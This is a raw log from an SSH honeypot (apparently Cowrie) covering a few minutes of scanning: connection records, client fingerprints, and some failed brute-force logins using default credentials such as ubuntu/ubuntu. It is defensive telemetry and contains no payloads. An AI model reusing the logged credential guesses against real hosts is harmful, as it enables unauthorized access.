{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:16.079349Z","src_ip":"103.249.200.230","session":"ee376d9971e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":61128,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d37c6cad9f6","protocol":"ssh","message":"New connection: 103.249.200.230:61128 (10.17.0.5:22) [session: 9d37c6cad9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:16.904489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:17.133778Z","src_ip":"103.249.200.230","session":"9d37c6cad9f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:17.358525Z","src_ip":"103.249.200.230","session":"9d37c6cad9f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:17.362934Z","src_ip":"103.249.200.230","session":"9d37c6cad9f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":61444,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d72e4d38dce","protocol":"ssh","message":"New connection: 103.249.200.230:61444 (10.17.0.5:22) [session: 8d72e4d38dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:18.215223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:18.624055Z","src_ip":"103.249.200.230","session":"8d72e4d38dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:18.861372Z","src_ip":"103.249.200.230","session":"8d72e4d38dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:18.866400Z","src_ip":"103.249.200.230","session":"8d72e4d38dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":61841,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e6dcc4b2d5e","protocol":"ssh","message":"New connection: 103.249.200.230:61841 (10.17.0.5:22) [session: 3e6dcc4b2d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:19.947705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:20.505123Z","src_ip":"103.249.200.230","session":"3e6dcc4b2d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:20.728432Z","src_ip":"103.249.200.230","session":"3e6dcc4b2d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:20.733494Z","src_ip":"103.249.200.230","session":"3e6dcc4b2d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":62170,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3a938675389","protocol":"ssh","message":"New connection: 103.249.200.230:62170 (10.17.0.5:22) [session: c3a938675389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:22.074052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:22.333757Z","src_ip":"103.249.200.230","session":"c3a938675389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:22.551539Z","src_ip":"103.249.200.230","session":"c3a938675389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:22.557989Z","src_ip":"103.249.200.230","session":"c3a938675389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":62462,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de39e59afe9","protocol":"ssh","message":"New connection: 103.249.200.230:62462 (10.17.0.5:22) [session: 4de39e59afe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:23.967408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:24.538783Z","src_ip":"103.249.200.230","session":"4de39e59afe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:24.763173Z","src_ip":"103.249.200.230","session":"4de39e59afe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:24.768089Z","src_ip":"103.249.200.230","session":"4de39e59afe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":63152,"dst_ip":"10.17.0.5","dst_port":22,"session":"a490be486e23","protocol":"ssh","message":"New connection: 103.249.200.230:63152 (10.17.0.5:22) [session: a490be486e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:27.859204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:28.087167Z","src_ip":"103.249.200.230","session":"a490be486e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:28.305553Z","src_ip":"103.249.200.230","session":"a490be486e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:28.311088Z","src_ip":"103.249.200.230","session":"a490be486e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":63513,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f7149f53095","protocol":"ssh","message":"New connection: 103.249.200.230:63513 (10.17.0.5:22) [session: 3f7149f53095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:29.933726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:30.997281Z","src_ip":"103.249.200.230","session":"3f7149f53095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:31.209211Z","src_ip":"103.249.200.230","session":"3f7149f53095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:31.214343Z","src_ip":"103.249.200.230","session":"3f7149f53095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":64015,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b0efc9e8a78","protocol":"ssh","message":"New connection: 103.249.200.230:64015 (10.17.0.5:22) [session: 4b0efc9e8a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:32.328553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:32.548543Z","src_ip":"103.249.200.230","session":"4b0efc9e8a78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:32.763638Z","src_ip":"103.249.200.230","session":"4b0efc9e8a78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:32.770015Z","src_ip":"103.249.200.230","session":"4b0efc9e8a78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35216,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a1e50b8b3b3","protocol":"ssh","message":"New connection: 2.57.122.208:35216 (10.17.0.5:22) [session: 0a1e50b8b3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:33.649564Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":64261,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc094d385925","protocol":"ssh","message":"New connection: 103.249.200.230:64261 (10.17.0.5:22) [session: fc094d385925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:33.726452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:33.811662Z","src_ip":"2.57.122.208","session":"0a1e50b8b3b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:33.814975Z","src_ip":"2.57.122.208","session":"0a1e50b8b3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:33.888898Z","src_ip":"103.249.200.230","session":"fc094d385925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:34.612568Z","src_ip":"2.57.122.208","session":"0a1e50b8b3b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:35.721479Z","src_ip":"2.57.122.208","session":"0a1e50b8b3b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":50702,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d746a58d070","protocol":"ssh","message":"New connection: 80.94.92.186:50702 (10.17.0.5:22) [session: 2d746a58d070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:41.070247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:41.178790Z","src_ip":"80.94.92.186","session":"2d746a58d070","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:41.370510Z","src_ip":"80.94.92.186","session":"2d746a58d070","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:42.125969Z","src_ip":"80.94.92.186","session":"2d746a58d070","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:43.262352Z","src_ip":"80.94.92.186","session":"2d746a58d070","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38272,"dst_ip":"159.203.135.109","dst_port":22,"session":"1499117bf8f6","protocol":"ssh","message":"New connection: 193.32.162.151:38272 (159.203.135.109:22) [session: 1499117bf8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:47.504957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:47.507914Z","src_ip":"193.32.162.151","session":"1499117bf8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:47.612818Z","src_ip":"193.32.162.151","session":"1499117bf8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kryan","password":"123456","message":"login attempt [kryan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:47.942072Z","src_ip":"193.32.162.151","session":"1499117bf8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:49:49.058571Z","src_ip":"193.32.162.151","session":"1499117bf8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48338,"dst_ip":"159.203.135.109","dst_port":22,"session":"250b017e18e4","protocol":"ssh","message":"New connection: 195.178.110.218:48338 (159.203.135.109:22) [session: 250b017e18e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:13.741903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:13.746462Z","src_ip":"195.178.110.218","session":"250b017e18e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:13.826432Z","src_ip":"195.178.110.218","session":"250b017e18e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:14.074493Z","src_ip":"195.178.110.218","session":"250b017e18e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:51:15.158520Z","src_ip":"195.178.110.218","session":"250b017e18e4","protocol":"ssh"}
